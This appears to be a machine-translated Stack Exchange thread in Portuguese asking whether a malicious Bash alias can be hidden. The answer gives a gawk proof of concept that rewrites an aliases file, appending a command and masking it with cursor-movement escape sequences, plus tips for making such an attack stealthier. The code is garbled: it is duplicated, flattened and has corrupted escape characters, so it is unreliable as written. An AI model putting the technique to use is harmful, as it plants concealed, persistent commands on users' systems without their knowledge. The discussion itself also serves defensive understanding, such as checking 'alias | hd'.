É possível esconder um alias malicioso no Bash no Linux?

9

É possível esconder a existência de um alias mal-intencionado no Bash em um sistema Linux e executá-lo pelo usuário sem o conhecimento deles?

    
por Dennis Williamson 23.10.2009 / 04:31

1 resposta

13

É possível fazer isso anexando o alias existente ao malicioso e usando o movimento do cursor para ocultá-lo, se o comando alias for usado para exibir definições de alias. Não é um método perfeitamente infalível, mas pode passar despercebido por um tempo. Piping alias a hd mostrará se existem sequências de escape (movimento do cursor) nos seus aliases. Aqui está uma prova de conceito de como um comando malicioso pode ser inserido em um alias:

alias | gawk 'BEGIN {
        FS = "[ =7]"
        db = "\"; sp = db " "; amp = db "&"
        sq= "7"; bell = "
alias | gawk 'BEGIN {
        FS = "[ =7]"
        db = "\"; sp = db " "; amp = db "&"
        sq= "7"; bell = "%pre%7"; esc = "3"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
7"; esc = "3" } NR == 3 { len1 = length($2) } NR == 4 { alias = $2 orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1)) orig = gensub(" ", db sp, "g", orig) } END { hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t" for(i=1; i<len1; i++) {hide = hide esc "[C"} cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases" system(cmd) }'
  • O comando sed modifica um arquivo chamado "aliases" no lugar - um script real desse tipo iria para a garganta e modificaria um arquivo de script real para que o alias malicioso fosse ativado na próxima vez que fosse executado.
  • A parte maliciosa desse exemplo apenas toca a campainha do terminal para que você saiba que está funcionando.
  • O comando que é originalmente alias será executado com o conteúdo de hide como argumento, então é concebível que você possa obter um erro similar ao reportado no esta questão . Pode ser possível reverter as partes originais e maliciosas para afetá-la, embora isso interfira nos argumentos fornecidos ao alias. Uma tentativa é feita no script acima para marcar o final dos argumentos com -- .
  • Em vez de encadear as partes originais e mal-intencionadas com && , você poderia enviar um para o próximo e fazer com que o script mal-intencionado (representado acima pelo simples comando echo ) funcionasse como stdin to stdout pass por meio de modificar os dados conforme eles estão passando ou de ocultar sua existência por não interferir com outro redirecionamento
  • Outra possibilidade seria incluir o alias original dentro do script malicioso, que poderia remover a string de movimento do cursor da lista de argumentos e passar o restante para o original.
  • Eu escolhi arbitrariamente os registros 3 e 4, um código mais inteligente poderia ter como alvo aliases específicos, mas eles precisam ser adjacentes (ou o movimento do cursor pode se tornar mais complexo).
  • A string hide pode ser modificada para incluir movimento de cursor diferente e o texto do alias original para que o comando alias apareça para mostrar o alias não modificado em vez de ocultá-lo junto com a parte maliciosa.
  • Para testá-lo como está escrito, você precisa ter pelo menos quatro aliases ativos, executar esse script e, em seguida, fornecer o arquivo resultante com . aliases . Em seguida, você pode tentar usar o alias afetado e ver como ele fica quando você executa alias|hd .
  • Isso poderia, sem dúvida, ser reescrito de cem maneiras diferentes - tudo melhor.
  • Quão realista é esse tipo de ameaça? Eu não tenho a menor ideia. Mas se eu puder fazer isso ...
por 23.10.2009 / 04:37